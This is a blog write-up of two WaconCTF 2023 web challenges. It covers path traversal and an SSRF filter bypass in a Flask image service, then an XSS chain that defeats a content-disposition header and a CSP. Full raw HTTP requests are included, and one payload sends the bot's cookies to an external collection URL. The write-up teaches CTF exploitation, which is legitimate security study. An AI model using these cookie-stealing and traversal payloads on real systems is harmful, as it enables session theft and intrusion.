WaconCTF 2023

2023. 9. 29. 22:01·🚩 CTF/2023

 

Not finish yet, still writing :)

 

waconCTF2023.zip
0.04MB

• mosaic

from flask import Flask, render_template, request, redirect, url_for, session, g, send_from_directory
import mimetypes
import requests
import imageio
import os
import sqlite3
import hashlib
import re
from shutil import copyfile, rmtree
import numpy as np

app = Flask(__name__)
app.secret_key = os.urandom(24)
app.config['MAX_CONTENT_LENGTH'] = 16 * 1000 * 1000
DATABASE = 'mosaic.db'
UPLOAD_FOLDER = 'uploads'
MOSAIC_FOLDER = 'static/uploads'

if os.path.exists("/flag.png"):
    FLAG = "/flag.png"
else:
    FLAG = "/test-flag.png"

try:
    with open("password.txt", "r") as pw_fp:
        ADMIN_PASSWORD = pw_fp.read()
        pw_fp.close()
except:
    ADMIN_PASSWORD = "admin"
    
def apply_mosaic(image, output_path, block_size=10):
    height, width, channels = image.shape
    for y in range(0, height, block_size):
        for x in range(0, width, block_size):
            block = image[y:y+block_size, x:x+block_size]
            mean_color = np.mean(block, axis=(0, 1))
            image[y:y+block_size, x:x+block_size] = mean_color
    imageio.imsave(output_path, image)

def hash(password):
    return hashlib.md5(password.encode()).hexdigest()

def type_check(guesstype):
    return guesstype in ["image/png", "image/jpeg", "image/tiff", "application/zip"]

def get_db():
    db = getattr(g, '_database', None)
    if db is None:
        db = g._database = sqlite3.connect(DATABASE)
    return db

def init_db():
    with app.app_context():
        db = get_db()
        db.execute("CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY, username TEXT unique, password TEXT)")
        db.execute(f"INSERT INTO users (username, password) values('admin', '{hash(ADMIN_PASSWORD)}')")
        db.commit()

@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None:
        db.close()

@app.route('/', methods=['GET'])
def index():
    if not session.get('logged_in'):
        return '''<h1>Welcome to my mosiac service!!</h1><br><a href="/login">login</a>&nbsp;&nbsp;<a href="/register">register</a>'''
    else:
        if session.get('username') == "admin" and request.remote_addr == "127.0.0.1":
            copyfile(FLAG, f'{UPLOAD_FOLDER}/{session["username"]}/flag.png')
        return '''<h1>Welcome to my mosiac service!!</h1><br><a href="/upload">upload</a>&nbsp;&nbsp;<a href="/mosaic">mosaic</a>&nbsp;&nbsp;<a href="/logout">logout</a>'''

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        if not re.match('^[a-zA-Z0-9]*$', username):
            return "Plz use alphanumeric characters.."
        cur = get_db().cursor()
        cur.execute("INSERT INTO users (username, password) VALUES (?, ?)", (username, hash(password)))
        get_db().commit()
        os.mkdir(f"{UPLOAD_FOLDER}/{username}")
        os.mkdir(f"{MOSAIC_FOLDER}/{username}")
        return redirect(url_for('login'))
    return render_template("register.html")

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        if not re.match('^[a-zA-Z0-9]*$', username):
            return "Plz use alphanumeric characters.."
        cur = get_db().cursor()
        user = cur.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, hash(password))).fetchone()
        if user:
            session['logged_in'] = True
            session['username'] = user[1]
            return redirect(url_for('index'))
        else:
            return 'Invalid credentials. Please try again.'
    return render_template("login.html")

@app.route('/logout')
def logout():
    session.pop('logged_in', None)
    session.pop('username', None)
    return redirect(url_for('login'))

@app.route('/mosaic', methods=['GET', 'POST'])
def mosaic():
    if not session.get('logged_in'):
        return redirect(url_for('login'))
    if request.method == 'POST':
        image_url = request.form.get('image_url')
        if image_url and "../" not in image_url and not image_url.startswith("/"):
            guesstype = mimetypes.guess_type(image_url)[0]
            ext = guesstype.split("/")[1]
            mosaic_path = os.path.join(f'{MOSAIC_FOLDER}/{session["username"]}', f'{os.urandom(8).hex()}.{ext}')
            filename = os.path.join(f'{UPLOAD_FOLDER}/{session["username"]}', image_url)


            if os.path.isfile(filename):
                image = imageio.imread(filename)
            elif image_url.startswith("http://") or image_url.startswith("https://"):
                return "Not yet..! sry.."
            else:
                if type_check(guesstype):
                    image_data = requests.get(image_url, headers={"Cookie":request.headers.get("Cookie")}).content
                    image = imageio.imread(image_data)

            apply_mosaic(image, mosaic_path)
            return render_template("mosaic.html", mosaic_path = mosaic_path)
        else:
            return "Plz input image_url or Invalid image_url.."
    return render_template("mosaic.html")

@app.route('/upload', methods=['GET', 'POST'])
def upload():
    if not session.get('logged_in'):
        return redirect(url_for('login'))
    if request.method == 'POST':
        if 'file' not in request.files:
            return 'No file part'
        file = request.files['file']
        if file.filename == '':
            return 'No selected file'
        filename = os.path.basename(file.filename)
        guesstype = mimetypes.guess_type(filename)[0]
        image_path = os.path.join(f'{UPLOAD_FOLDER}/{session["username"]}', filename)
        if type_check(guesstype):
            file.save(image_path)
            return render_template("upload.html", image_path = image_path)
        else:
            return "Allowed file types are png, jpeg, jpg, zip, tiff.."
    return render_template("upload.html")

@app.route('/check_upload/@<username>/<file>')
def check_upload(username, file):
    if not session.get('logged_in'):
        return redirect(url_for('login'))
    if username == "admin" and session["username"] != "admin":
        return "Access Denied.."
    else:
        return send_from_directory(f'{UPLOAD_FOLDER}/{username}', file)

if __name__ == '__main__':
    init_db()
    app.run(host="0.0.0.0", port="9999")

This chall provides upload service which user can upload local file. (But there are accpeted image form, "png, jepeg, jpg, zip, tiff).

 

@app.route('/', methods=['GET'])
def index():
    if not session.get('logged_in'):
        return '''<h1>Welcome to my mosiac service!!</h1><br><a href="/login">login</a>&nbsp;&nbsp;<a href="/register">register</a>'''
    else:
        if session.get('username') == "admin" and request.remote_addr == "127.0.0.1":
            copyfile(FLAG, f'{UPLOAD_FOLDER}/{session["username"]}/flag.png')
        return '''<h1>Welcome to my mosiac service!!</h1><br><a href="/upload">upload</a>&nbsp;&nbsp;<a href="/mosaic">mosaic</a>&nbsp;&nbsp;<a href="/logout">logout</a>'''

 We can copy Flag to "uploads/admin/flag.png", if we can get admin session & request with localhost. So first step gonna get admin's password. So let's see if any of the other endpoints have any hints as to where we can get the admin password.

 

[ Point 1 ]

@app.route('/check_upload/@<username>/<file>')
def check_upload(username, file):
    if not session.get('logged_in'):
        return redirect(url_for('login'))
    if username == "admin" and session["username"] != "admin":
        return "Access Denied.."
    else:
        return send_from_directory(f'{UPLOAD_FOLDER}/{username}', file)

We can check whether file is uploaded by using this endpoint. The problem is there is no validation part of user's input.

 

 "@../[some_folder]" , this payload allows us to check files in the parent directory. 

 

 

[ Point 2 ]

@app.route('/', methods=['GET'])
def index():
    if not session.get('logged_in'):
        return '''<h1>Welcome to my mosiac service!!</h1><br><a href="/login">login</a>&nbsp;&nbsp;<a href="/register">register</a>'''
    else:
        if session.get('username') == "admin" and request.remote_addr == "127.0.0.1":
            copyfile(FLAG, f'{UPLOAD_FOLDER}/{session["username"]}/flag.png')
        return '''<h1>Welcome to my mosiac service!!</h1><br><a href="/upload">upload</a>&nbsp;&nbsp;<a href="/mosaic">mosaic</a>&nbsp;&nbsp;<a href="/logout">logout</a>'''

We login as a admin but problem is how to bypass remote_addr. We need to find function to make the request in the service itself.

 

@app.route('/mosaic', methods=['GET', 'POST'])
def mosaic():
    if not session.get('logged_in'):
        return redirect(url_for('login'))
    if request.method == 'POST':
        image_url = request.form.get('image_url')
        if image_url and "../" not in image_url and not image_url.startswith("/"):
            guesstype = mimetypes.guess_type(image_url)[0]
            ext = guesstype.split("/")[1]
            mosaic_path = os.path.join(f'{MOSAIC_FOLDER}/{session["username"]}', f'{os.urandom(8).hex()}.{ext}')
            filename = os.path.join(f'{UPLOAD_FOLDER}/{session["username"]}', image_url)
            if os.path.isfile(filename):
                image = imageio.imread(filename)
            elif image_url.startswith("http://") or image_url.startswith("https://"):
                return "Not yet..! sry.."
            else:
                if type_check(guesstype):
                    image_data = requests.get(image_url, headers={"Cookie":request.headers.get("Cookie")}).content
                    image = imageio.imread(image_data)
            
            apply_mosaic(image, mosaic_path)
            return render_template("mosaic.html", mosaic_path = mosaic_path)
        else:
            return "Plz input image_url or Invalid image_url.."
    return render_template("mosaic.html")

After checking type, there is a function "requests.get". By using this part, we can send a request to "/" endpoint with admin's session, then the service will copy the FLAG file to the specified path.

 

There is a type check of input file and filterings with "http://" & "https://", so we use this payload.

HTTPS://58.229.185.52:9999//?abc.png

Sending this request in "/mosaic" endpoint, now we just copy FLAG file into "/uploads/admin/flag.png"

 

[ Point 3 ]

The Final step is checking copied flag file in '/uploads/admin' directory.

@app.route('/check_upload/@<username>/<file>')
def check_upload(username, file):
    if not session.get('logged_in'):
        return redirect(url_for('login'))
    if username == "admin" and session["username"] != "admin":
        return "Access Denied.."
    else:
        return send_from_directory(f'{UPLOAD_FOLDER}/{username}', file)

Just enter to "/check_upload/@admin/flag.png' with admin session! 

 

Summary

  1. Check admin's password in "/check_upload/@<username>/<file>', by using non-validation of user's iput
  2. Use request.get function of  "/mosaic" endpoint. Bypass filterings with "HTTP://" and specify extension of file(e.g. test.png). Then service will copy Flag file into "/uploads/admin/"
  3. Check it through '/check_upload/@<username>/<file>' endpoint

 

 

• Warmup-revenge

// bot.js
async function visit(url) {
			...
    try {
        let page = await browser.newPage();

        await page.goto("http://webserver/login.php");
        await page.waitForSelector('body')
        await page.focus('#username')

        await page.keyboard.type("admin", { delay: 10 });

        await page.focus('#password')
        await page.keyboard.type("[REDACTED]", { delay: 10 });
        
        await new Promise(resolve => setTimeout(resolve, 500))
        await page.click('#submitBtn')
        await new Promise(resolve => setTimeout(resolve, 500))

        page.setCookie({
            "name": "FLAG",
            "value": flag,
            "domain": "webserver",
            "path": "/",
            "httpOnly": false,
            "sameSite": "Strict"
        })

        console.log("url : ", url);
        await page.waitForNetworkIdle();
        await page.goto(url, {waitUntil: 'load'});
        await new Promise(resolve => setTimeout(resolve, 10000))
        await page.close()
        await browser.close()
    } catch (e) {
        console.log("error!",e);
        await browser.close()
    }
}

Flag is in bot's cookie.

 

We can see the board and articles after login. 

Let's see code of this page.

// article_read_page.php
<?php
    if($row['file_path']) {
        echo "<script src='./static/javascript/auto.js'></script>";
    }
?>

This page runs differently depending on the auto.js file. Let's check this out.

 

 

// auto.js
const urlParams = new URLSearchParams(window.location.search);
var auto_download = urlParams.get('auto_download') ? 1 : 0
if(auto_download) {
	setTimeout(download, 2000);
}

function download() {
    window.open(document.getElementById("download").href);
}

The auto.js file is intended to allow users to download files automatically using the 'auto_download' parameter. 

 

 

You can check that 'same-origin' policy is applied to the window.open API. We can guess that there is flag in bot's cookie, and  XSS vulnerability exists in this chall.

 

// download.php
	if(preg_match("/msie/i", $_SERVER['HTTP_USER_AGENT']) && preg_match("/5\.5/", $_SERVER['HTTP_USER_AGENT'])) {
	    header("content-length: ".filesize($filepath));
	    header("content-disposition: attachment; filename=\"$original\"");
	    header("content-transfer-encoding: binary");
	} else if (preg_match("/Firefox/i", $_SERVER['HTTP_USER_AGENT'])){
	    header("content-length: ".filesize($filepath));
	    header("content-disposition: attachment; filename=\"".basename($file['file_name'])."\"");
	    header("content-description: php generated data");
	} else {
	    header("content-length: ".filesize($filepath));
	    header("content-disposition: attachment; filename=\"$original\"");
	    header("content-description: php generated data");
	}
	header("pragma: no-cache");
	header("expires: 0");

I didn't know about 'content-disposition' header, so I searched it.

 

This is the header that enables the user to download. But it forces the service to download "only" files. If we want to trigger XSS, we must bypass this.

 

[ Point 1 ] - Bypass "content-disposition" header

 

reference : https://markitzeroday.com/xss/bypass/2018/04/17/defeating-content-disposition.html

 

We can us "\r\n" characters to bypass header. 

 

// board.php
	if($_FILES['file']['tmp_name']){
        if($_FILES['file']['size'] > 2097152){
            die('File is too big');
        }
        $file_name = bin2hex(random_bytes(30));

        if(!move_uploaded_file($_FILES['file']['tmp_name'], './upload/' . $file_name)) die('Upload Fail');

        $insert['file_path'] = './upload/' . $file_name;
        $insert['file_name'] = $_FILES['file']['name'];
    }

And I also check that there is no filtering with filename. If we send a filename like "aa\r.html", we can trigger XSS.

 

I just gave a try whether xss is triggered with simple script code. (<script>alert(1)</script>) But it didn't work because of CSP policy.

 

 

[ Point 2 ] -  Bypass Same-origin policy by using other articles

Content-Security-Policy: default-src 'self'; style-src 'self'

This CSP would let us include scripts from same domain a simple bypass would be to upload first a file containing the javascript code to execute then another file to include that js code from the download.php page.

 

 

So first request  goes like this :

POST /board.php?p=write HTTP/1.1
Host: 58.225.56.195
Content-Length: 671
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://58.225.56.195
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycvWyliGDdHdwlJtE
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://58.225.56.195/board.php?p=write
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=1c81fcd1c24b17563d38a04767fc13e9
Connection: close

------WebKitFormBoundarycvWyliGDdHdwlJtE
Content-Disposition: form-data; name="title"

111

------WebKitFormBoundarycvWyliGDdHdwlJtE
Content-Disposition: form-data; name="content"

111

------WebKitFormBoundarycvWyliGDdHdwlJtE
Content-Disposition: form-data; name="level"

1

------WebKitFormBoundarycvWyliGDdHdwlJtE
Content-Disposition: form-data; name="file"; filename="a.html"
Content-Type: text/html


document.location="https://eob4gc3luoexsdv.m.pipedream.net/?x=".concat(encodeURIComponent(document.cookie));

------WebKitFormBoundarycvWyliGDdHdwlJtE
Content-Disposition: form-data; name="password"

111

------WebKitFormBoundarycvWyliGDdHdwlJtE--

Upload a file containing the content of script code. And second request would be likte this

 

POST /board.php?p=write HTTP/1.1
Host: 58.225.56.195
Content-Length: 615
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://58.225.56.195
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDcVyYJY0OfwRJrcK
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://58.225.56.195/board.php?p=write
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=1c81fcd1c24b17563d38a04767fc13e9
Connection: close

------WebKitFormBoundaryDcVyYJY0OfwRJrcK
Content-Disposition: form-data; name="title"
2222

------WebKitFormBoundaryDcVyYJY0OfwRJrcK
Content-Disposition: form-data; name="content"

2222

------WebKitFormBoundaryDcVyYJY0OfwRJrcK
Content-Disposition: form-data; name="level"

1

------WebKitFormBoundaryDcVyYJY0OfwRJrcK
Content-Disposition: form-data; name="file"; filename="aa\r.html"
Content-Type: text/html

<script src="/download.php?idx=1216"></script>

------WebKitFormBoundaryDcVyYJY0OfwRJrcK
Content-Disposition: form-data; name="password"

2222

------WebKitFormBoundaryDcVyYJY0OfwRJrcK--

And then, send GET request like this: http://58.225.56.195/report.php?path=download.php&idx=1216. Finally, we could get flag.

 

저작자표시 비영리 변경금지 (새창열림)
'🚩 CTF/2023' 카테고리의 다른 글
  • TFCCTF 2023 web writeup
  • [ zer0pts ] ringtone
  • [ zer0pts 2023 ] Warmuprofile
  • [ zer0pts 2023 ] Neko note
Cronus
Cronus
Offensive Security Researcher
  • Cronus
    Cronus
    Striving to be the best.
    • 분류 전체보기 (251)
      • AboutMe (1)
      • Portfolio (1)
        • Things (1)
      • Bug Report (1)
      • 🚩 CTF (23)
        • Former Doc (9)
        • 2023 (9)
      • 💻 Security (5)
      • 🖌️ Theory (22)
        • WEB (9)
        • PWN (13)
      • 📄 Project (6)
        • Edu_Siri (6)
      • Dreamhack (156)
        • WEB (95)
        • PWN (41)
        • Crypto (14)
        • ETC (6)
      • Wargame (22)
        • HackCTF (22)
      • Bug Bounty (1)
        • Hacking Zone (1)
      • Tips (7)
      • Development (2)
        • Machine Learning & Deep Lea.. (1)
      • Offensive Tools (1)
  • 블로그 메뉴

    • 홈
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    Ubuntu 기초 셋팅
    GPNCTF
    python
    Text Summarization
    Deep learning
    cache poisoning
    bug report
    pwntools
    ubuntu 명령어
    sqli
    Remote Code Execution
    justCTF
    cache
    TFCCTF2022
    RCE
    TsukuCTF2022
    Ubuntu 기초
    Crypto
    bug hunter
    Machine Learning
  • 최근 댓글

  • 최근 글

Cronus
WaconCTF 2023
상단으로

티스토리툴바